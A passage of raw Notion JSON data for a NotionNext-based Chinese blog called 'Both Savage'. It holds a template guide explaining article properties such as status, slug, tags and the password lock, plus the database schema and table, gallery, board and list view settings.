f466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"72b8d1f0-f81b-4278-aa3a-9ac1b0fddc1a":{"value":{"id":"72b8d1f0-f81b-4278-aa3a-9ac1b0fddc1a","type":"header","properties":{"title":[["一、模板使用说明"]]},"format":{"copied_from_pointer":{"id":"8e6405ad-b52d-4a3c-8de5-e413949d3aff","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337138,"last_edited_time":1705594337138,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"8e6405ad-b52d-4a3c-8de5-e413949d3aff"}},"c51f7f53-67be-4fb5-aee5-427b0cf9819c":{"value":{"id":"c51f7f53-67be-4fb5-aee5-427b0cf9819c","type":"text","properties":{"title":[["Notion页面中,每篇文章都有几个属性字段🤔,其说明如下:"]]},"format":{"copied_from_pointer":{"id":"a4fe4c8a-ce5a-437a-9f15-461ec2985719","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337138,"last_edited_time":1705594337138,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"a4fe4c8a-ce5a-437a-9f15-461ec2985719"}},"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9":{"value":{"id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","type":"table","content":["07fbfdea-71f3-4a04-a46e-d30c98197895","07124e79-05b6-45ec-acdc-7e829b5fb052","c2736488-e788-48ce-99eb-06a320f157a4","5b8bdfb5-218c-44ea-b202-3212725d5cb1","d058828b-345a-4707-911f-e5e50787f92f","0aea5ed6-6d10-4206-82b8-3ccc61405ac4","e62533e4-84e2-4e0d-b304-373e3356dda2","be987026-44c1-4cd9-89c1-9a81441c1eaf","1d362ade-698d-4fdb-a250-09125240acc6","d8e128a1-26f0-46ed-bd03-0ae97c1da2aa","2bd9a3c8-b377-495f-a97d-1f14f07afb07"],"format":{"copied_from_pointer":{"id":"fa26eb5b-5b86-422a-ab84-8f328699ff1b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"table_block_row_header":true,"table_block_column_order":["BYf{","GENW","Js[p","`VuO"],"table_block_column_format":{"BYf{":{"width":148},"GENW":{"width":77.00000762939453},"Js[p":{"width":239.00001525878906},"`VuO":{"width":315.66668701171875}},"table_block_column_header":true},"created_time":1705594337139,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337139,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"fa26eb5b-5b86-422a-ab84-8f328699ff1b"}},"07fbfdea-71f3-4a04-a46e-d30c98197895":{"value":{"id":"07fbfdea-71f3-4a04-a46e-d30c98197895","type":"table_row","properties":{"BYf{":[["属性"]],"GENW":[["必填"]],"Js[p":[["说明"]],"`VuO":[["备注"]]},"format":{"copied_from_pointer":{"id":"75d23e0b-6ea5-4e1f-8530-216b1e4027bb","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"75d23e0b-6ea5-4e1f-8530-216b1e4027bb"}},"07124e79-05b6-45ec-acdc-7e829b5fb052":{"value":{"id":"07124e79-05b6-45ec-acdc-7e829b5fb052","type":"table_row","properties":{"BYf{":[["title",[["c"]]]],"GENW":[[" 是"]],"Js[p":[[" 文章标题"]]},"format":{"copied_from_pointer":{"id":"705fd9b7-2b7c-4514-97bb-4bb957a5ec9f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"705fd9b7-2b7c-4514-97bb-4bb957a5ec9f"}},"c2736488-e788-48ce-99eb-06a320f157a4":{"value":{"id":"c2736488-e788-48ce-99eb-06a320f157a4","type":"table_row","properties":{"BYf{":[["status",[["c"]]]],"GENW":[["是"]],"Js[p":[["发布状态"]],"`VuO":[["(仅当状态为"],["Published",[["c"]]],[" 时会被 展示)"]]},"format":{"copied_from_pointer":{"id":"84904f0b-1d58-4b66-877b-18500b2d4c39","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"84904f0b-1d58-4b66-877b-18500b2d4c39"}},"5b8bdfb5-218c-44ea-b202-3212725d5cb1":{"value":{"id":"5b8bdfb5-218c-44ea-b202-3212725d5cb1","type":"table_row","properties":{"BYf{":[["date",[["c"]]]],"GENW":[["是"]],"Js[p":[["发布日期"]],"`VuO":[["2021/11/05"]]},"format":{"copied_from_pointer":{"id":"9c987743-6c91-4586-8096-33d79fa25a23","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337158,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"9c987743-6c91-4586-8096-33d79fa25a23"}},"d058828b-345a-4707-911f-e5e50787f92f":{"value":{"id":"d058828b-345a-4707-911f-e5e50787f92f","type":"table_row","properties":{"BYf{":[["type",[["c"]]]],"GENW":[["是"]],"Js[p":[["页面类型 (博文"],["Post",[["c"]]],[" / 单页("],["Page",[["c"]]],[")"]],"`VuO":[["单页不会在博文列表显示 。"]]},"format":{"copied_from_pointer":{"id":"56f26e4f-6e1e-482e-8455-12d481741542","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"56f26e4f-6e1e-482e-8455-12d481741542"}},"0aea5ed6-6d10-4206-82b8-3ccc61405ac4":{"value":{"id":"0aea5ed6-6d10-4206-82b8-3ccc61405ac4","type":"table_row","properties":{"BYf{":[["summary",[["c"]]]],"GENW":[["否"]],"Js[p":[["内容摘要"]],"`VuO":[["搜索和简略显示会用到"]]},"format":{"copied_from_pointer":{"id":"8cb09fb7-bdfe-4e79-ab39-6c3373fa4a8d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"8cb09fb7-bdfe-4e79-ab39-6c3373fa4a8d"}},"e62533e4-84e2-4e0d-b304-373e3356dda2":{"value":{"id":"e62533e4-84e2-4e0d-b304-373e3356dda2","type":"table_row","properties":{"BYf{":[["category",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章分类"]],"`VuO":[["可以自定义"]]},"format":{"copied_from_pointer":{"id":"e9a63b43-d174-4e92-ab58-48d7acebb7bf","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_time":1705594337158,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"e9a63b43-d174-4e92-ab58-48d7acebb7bf"}},"be987026-44c1-4cd9-89c1-9a81441c1eaf":{"value":{"id":"be987026-44c1-4cd9-89c1-9a81441c1eaf","type":"table_row","properties":{"BYf{":[["tags",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章标签"]],"`VuO":[["可多个,建议不要太多"]]},"format":{"copied_from_pointer":{"id":"430bd5a5-7afa-4b2d-ab20-4a1daa7d6727","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"430bd5a5-7afa-4b2d-ab20-4a1daa7d6727"}},"1d362ade-698d-4fdb-a250-09125240acc6":{"value":{"id":"1d362ade-698d-4fdb-a250-09125240acc6","type":"table_row","properties":{"BYf{":[["slug",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章短路径"]],"`VuO":[[" (每篇文章唯一,请勿 重复)"]]},"format":{"copied_from_pointer":{"id":"8fe3d629-3b33-4001-afb7-1221b752f3c8","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_time":1705594337158,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"8fe3d629-3b33-4001-afb7-1221b752f3c8"}},"d8e128a1-26f0-46ed-bd03-0ae97c1da2aa":{"value":{"id":"d8e128a1-26f0-46ed-bd03-0ae97c1da2aa","type":"table_row","properties":{"BYf{":[["icon",[["c"]]]],"GENW":[["否"]],"Js[p":[["菜单栏图标(仅当"],["Page",[["c"]]],["类型有效)"]],"`VuO":[["可以参考:"],["图标库地址",[["a","https://fontawesome.com/v5/search"]]]]},"format":{"copied_from_pointer":{"id":"9bbf631a-8b66-4a97-a5d7-ebe36561f113","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_time":1705594337158,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"9bbf631a-8b66-4a97-a5d7-ebe36561f113"}},"2bd9a3c8-b377-495f-a97d-1f14f07afb07":{"value":{"id":"2bd9a3c8-b377-495f-a97d-1f14f07afb07","type":"table_row","properties":{"BYf{":[["password",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章加锁"]],"`VuO":[["需要输入密码访问"]]},"format":{"copied_from_pointer":{"id":"af2f7c5d-bdf2-4073-add4-b930fec4e652","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_time":1705594337158,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"af2f7c5d-bdf2-4073-add4-b930fec4e652"}},"10ad4028-c0e3-4095-aa46-81b07349c917":{"value":{"id":"10ad4028-c0e3-4095-aa46-81b07349c917","type":"header","properties":{"title":[["二、加锁说明"]]},"format":{"copied_from_pointer":{"id":"2e8f0e15-089f-4daa-b535-9c697e4e4878","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337138,"last_edited_time":1705594337138,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"2e8f0e15-089f-4daa-b535-9c697e4e4878"}},"08c43877-2376-4822-87e5-a9a62b39c716":{"value":{"id":"08c43877-2376-4822-87e5-a9a62b39c716","type":"bookmark","properties":{"link":[["https://docs.tangly1024.com/zh/features/articleLock"]],"title":[["NotionNext: 基于Next.js 的Notion博客站点生成器"]]},"format":{"bookmark_icon":"https://docs.tangly1024.com/android-icon-192x192.png","bookmark_cover":"https://docs.tangly1024.com/og.png","copied_from_pointer":{"id":"3e4efc73-924d-43ba-ba9f-90c38178467b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337138,"last_edited_time":1705594337138,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"3e4efc73-924d-43ba-ba9f-90c38178467b"}},"59d8f4bc-1fab-4205-aaa0-bd7aabf19e1f":{"value":{"id":"59d8f4bc-1fab-4205-aaa0-bd7aabf19e1f","type":"text","format":{"copied_from_pointer":{"id":"bccb3a75-04c9-4fa8-accb-96add746f5ef","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"bccb3a75-04c9-4fa8-accb-96add746f5ef"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713